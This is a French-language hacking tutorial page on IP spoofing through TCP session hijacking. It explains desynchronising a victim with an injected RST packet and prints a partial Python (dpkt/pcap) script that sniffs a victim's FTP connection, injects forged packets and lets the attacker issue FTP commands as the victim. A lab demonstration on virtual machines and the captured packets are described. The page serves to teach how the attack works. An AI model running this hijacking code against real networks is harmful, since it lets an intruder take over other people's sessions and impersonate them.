IP Spoofing


<< TCP/IP Hijack Abuser du DNS >>


II°) IP Spoofing

   Nous avons désormais toutes les armes pour exploiter un IP Spoofing : à l'aide d'un ARP Poisoning, nous pourrons écouter les conversations entre un ordinateur A et un ordinateur B. Lorsqu'on le souhaite, on peut isoler A de la conversation par RST Hijacking. On est ensuite libre de reprendre la conversation à la place de la victime.

Désynchronisation
   Le critère déterminant dans la réussite d'un IP Spoofing par désynchronisation préalable des réels participants est le timing. En effet, si une de nos requêtes part légèrement en retard ou est devancée par une requête légitime, elle sera ignorée. La manière dont les deux parties traitent les exceptions de connexion (e.g. les paquets RST) peut aussi différer. Par exemple, certains clients tentent de retransmettre leurs messages après réception d'un RST. Sans nouvelles de la part du client, le serveur peut aussi tenter d'injecter des paquets sans importance pour vérifier que la victime est toujours présente. De manière générale, il faut donc opérer relativement vite : losrque la victime a envoyé un paquet au serveur et qu'il y a une légère temporisation, il est temps d'envoyer un paquet RST à celle-ci pour la désynchroniser. Pour répondre à certains clients qui vont réemettre les trames, on envoie immédiatement un paquet légitime au serveur. De cette manière, il y aura double désynchronisation et les nouveaux paquets de la victime seront ignorés.

Illustration
   Dans l'exemple suivant, nous avons pris pour cible la machine A (192.168.1.10), qui maintient une connexion ftp active avec la machine B (ici ftp.bases-hacking.org). Nous épions depuis la machine C (appartenant à 192.168.1.0/24). Ce réseau local est en réalité un réseau de machines virtuelles qui agit comme si nous nous trouvions en présence d'un réseau non switché. Par conséquent, cela reviendrait au même que de laisser tourner sur C en tâche de fond un ARP poisoning avec comme victime 192.168.1.10 et comme passerelle 192.168.1.1 en activant le reroutage systématique. L'avantage d'ailleurs d'un IP Spoofing par rapport à une simple injection + non forwarding des paquets (on écoute jusqu'à décider d'arrêter de retransmettre les paquets de la cible puis on injecte nos propre paquets) est que cette technique peut s'adapter dans tout réseau où l'on est capable de connaître les numéros de séquence (que ce soit dû à une mauvaise génération aléatoire, à du sniffing passif ou à du sniffing actif).

Dans le petit script suivant, on sniffe les connexions TCP d'une victime sur un certain port. Lorsqu'une connexion active (pas de SYN, pas de FIN, pas de RST) est maintenue, on attend une réponse du serveur et un paquet du client avant d'injecter notre RST et notre paquet légitime. Ensuite, nous sommes libres d'insérer n'importe quelle commande (extraits du script python d'exploitation) :
    def tcp_inject_rst(pc,template,control_nums):

      # Setting control numbers
      template.ip.id = random.randint(10000,15000)
      [template.ip.tcp.seq,template.ip.tc.ack] = control_nums

      # Window size=0, resetting TCP offset
      template.ip.tcp.win = 0
      template.ip.tcp.off_x2 = ((5 << 4) | 0)

      # Injecting RST
      template.ip.tcp.flags = RST

      # Deleting extra data
      diff = len(template.ip.tcp.data) + len(template.ip.tcp.opts)
      template.ip.len = template.ip.len - diff
      template.ip.tcp.data, template.ip.tcp.opts = "", ""

      # Resetting checksums
      template.ip.sum=0
      template.ip.tcp.sum=0

      # Injecting
      pc.inject(str(template),60)


    def get_resp(pc,template,control_nums,timestamps,data):

      # Increment IP id
      control_nums[0] = control_nums[0] + 1

      # Inject cmd
      tcp_inject_data(pc,template,control_nums,[timestamps[0],timestamps[2]],data)

      decode = { pcap.DLT_LOOP:Loopback,
        pcap.DLT_NULL:Loopback,
        pcap.DLT_EN10MB:Ethernet }[pc.datalink()]

      # Wait for the reply
      for ts,pkt in pc:
        tcp = decode(pkt).ip.tcp
        if tcp.data == "":
          continue

        # Keep track of new control numbers & timestamps
        timestamps[2] = tcp.opts[4:8]
        control_nums[0] = control_nums[0] + 1
        control_nums[1] = tcp.ack
        control_nums[2] = tcp.seq+len(tcp.data)

        tcp_inject_data(pc,template,control_nums,[timestamps[0],timestamps[2]])

        return (tcp.data,control_nums,timestamps)


    def sniff(interface,victim,hijacked_port):

      pc = pcap.pcap(interface)

      # To sniff the victim's packet, the network shouldn't be switched
      # or traffic hijacking techniques (e.g. ARP poisoning) should be used in parallel

      # Process only packets from and to the victim with hijacked_port as remote port pc.setfilter("( ip src " + victim + " and tcp dst port " + str(hijacked_port) + " ) or ( ip dst " + victim + " and tcp src port " + str(hijacked_port) + " )")
      decode = { pcap.DLT_LOOP:Loopback,
        pcap.DLT_NULL:Loopback,
        pcap.DLT_EN10MB:Ethernet }[pc.datalink()]

      remote=None
      template_pkt=None
      template_cmd=None

      # Processing loop
      for ts, pkt in pc:

        # We know filtered packets are TCP only
        ip = decode(pkt).ip
        tcp = ip.tcp

        flags = tcp.flags
        if flags & SYN == 0 and flags & FIN == 0 and flags & RST == 0:
          src = bytesToIPstr(ip.src)
          dst = bytesToIPstr(ip.dst)

          if remote == None: # Not attached yet
            print "Active connection from " + src + " to " + dst + " on port " + str(hijacked_port)
            if src == victim:
              remote = dst
            else:
              remote = src

            if remote == src:
              template_pkt=decode(pkt)
            elif remote == dst:
              if len(tcp.data) != 0:
                template_cmd = decode(pkt)
              last_ack=int(tcp.ack)
              last_seq=int(tcp.seq)
              last_len = len(tcp.data)
              last_id = int(ip.id)
              if template_pkt != None and template_cmd != None:
                break

      # Now doing the job
      if last_len==0:
        last_len=1

      # RST Hijacking
      # Ack last recvd packet (seq+last_len) to reduce retransmission prob.
      print "RST Hijacking... ",
      tcp_inject_rst(pc,template_pkt,(last_ack,last_seq+last_len))
      print "done.\n"

      # Ignore the packets sent by the victim
      victim_port = template_cmd.ip.tcp.sport
      pc.setfilter("ip src " + remote + " and tcp dst port " + str(victim_port) + " and tcp src port " + str(hijacked_port))

      print "\nNow impersonating " + victim + ":" + str(victim_port) + " in its connection to " + remote + ":" + str(hijacked_port)

      # Injecting a legal packet to finalize the victim's desynchronization
      input = "CWD /"

      print "ftp> " + input

      exit_keys=("bye","quit","exit")
      while input.lower() not in exit_keys:
        input = input.strip("\n") + "\r\n"

        (data,[last_id,last_seq,last_ack],[last_tval,last_timestamp,last_tsecr]) = get_resp(pc,template_cmd,[last_id,last_seq,last_ack],[last_tval,last_timestamp,last_tsecr],input)
        print data

        input = raw_input("ftp> ")

On remarquera l'utilisation de librairies non-universelles : dpkt (forge/lecture de paquets), pcap (interface à libpcap, sniffing et injcetion). Elles servent comme on peut le constater sur le code ci-dessus à représenter de façon simple et orientée objet les paquets capturés et injectés. Pour faciliter la compréhension, ce bout de code n'est pas complet mais permet tout de même d'appréhender le mécanisme global et les manières de sniffer et d'injecter avec ces librairies.
Bien sûr, l'heuristique d'injection n'est pas réellement évoluée. Il faudrait effectuer une analyse temporelle (attendre une seconde, puis, s'il n'y a pas de nouveaux paquets, injecter) et même dépendante du protocole (typiquement dans FTP, on sait que lorsque un client envoie CWD X, le serveur va lui répondre avec un succès ou un échec, puis le client va acquiescer la réponse, donc il y aura nécessairement une temporisation après cet acquittement et c'est à ce moment que notre programme va effectuer l'injection). Essayons donc de nous connecter :

Connexion active (avant exploit)

Sur ces images, vous l'aurez deviné, le cadre du fond est l'écran du poste attaquant C et la fenêtre de commande au premier plan est celle de la victime A.
A ce niveau, le client maintient une connexion active vers B comme prévu (mais le poste attaquant n'as pas assisté au handshake avec les identifiants). Démarrons donc notre programme de TCP Hijacking et attendons la première commande du client (qui sera "cd :" qui est l'équivalent de "CWD :" en FTP) :

Connexion détournée

Comme on le voit, le client a bien reçu une réponse cohérente (550 failed to change directory puisque ":" n'est pas un chemin valide). Pendant ce temps, notre programme a injecté un paquet RST et une commande "CWD /", qui a l'air d'avoir elle aussi reçue une réponse valide ! Essayons donc une nouvelle commande de chaque côté pour tester la connectivité :

Spoof d'IP

Côté attaquant, nous avons donc réussi à effectuer une deuxième communication légitime avec la commande SYST. Nous sommes donc apparemment bien A aux yeux de B (et qui plus est, sans connaître les identifiants, même si dans le cas d'une communication FTP ils sont facilement appréhendables par spoofing).
Côté cible, on a subit une fermeture "inopinée" de la connexion, comme on pouvait s'y attendre.
Afin de confirmer le déroulement de l'attaque, jetons un coup d'oeil aux trames qui sont passées :

Paquets sniffés

On observe bien la première requête légitime, "CWD :". Juste après l'acquittement (trame 470) de la réponse 550 (trame 469), on repère facilement en rouge le RST qui a été injecté. Tout de suite après, le "CWD /" dont la tâche est d'achever la désynchronisation de notre victime est bien envoyé et reçoit une réponse cohérente, tout comme le "SYST" qui suit. On remarque que le deuxième "CWD /" essayé avec la victime n'a pas été envoyé (ce qui est logique puisque pour le client FTP la connexion avait été fermée depuis bien longtemps).
On imagine bien que la victime, habituée aux aléas de la l'informatique, va réouvrir une deuxième connexion vers B, laissant donc C indéfinitivement avec la connexion détournée.

Au niveau réalisation, certaines particularités de l'extension de TCP définie en RFC 1323 pour la performance du protocole rajoutent certaines difficultés. Par exemple, il est nécessaire de définir des timestamps qu'il faudra ajouter de manière précise (à chaque message, on envoie le timestamp local ainsi qu'un echo du dernier timestamp distant reçu et chaque côté vérifie que les timestamps sont plausibles). Ainsi, dans le petit script d'exploitation qui est disponible dans les sources, il y a notamment des instructions ajoutées qui visent à respecter ces spécifications afin que le paquet soit traité par le serveur FTP (je ne l'ai pas réellement testé ceci dit).

Parmi les nombreuses possibilités à la réalisation d'un spoofing, les attaques sur le DNS ont toujours eu la part belle, dû au rôle central qu'a ce protocole dans l'Internet, protocole pourtant intrinsèquement non sûr (UDP) et basé sur la confiance. C'est sur ces attaques que nous allons nous arrêter avec le prochain article.


<< TCP/IP Hijack Abuser du DNS >>



3 Commentaires

FrizN 23/07/12 06:24
On va dire que l'IP spoofing c'est un terme plus générique qui englobe toutes les manières d'impersonaliser une IP. L'ARP poisoning est entre autre l'une des techniques qui permet de faire de l'IP spoofing.

V 20/07/12 17:48
dans un reseau local qu'elle est la difference en l'arp poisoning et l'ip spoofing??

y0ty0t 26/07/10 13:01
Merci pour ce tuto.




Commentaires désactivés.

Apprendre la base du hacking - Liens sécurité informatique/hacking - Contact

Copyright © Bases-Hacking 2007-2014. All rights reserved.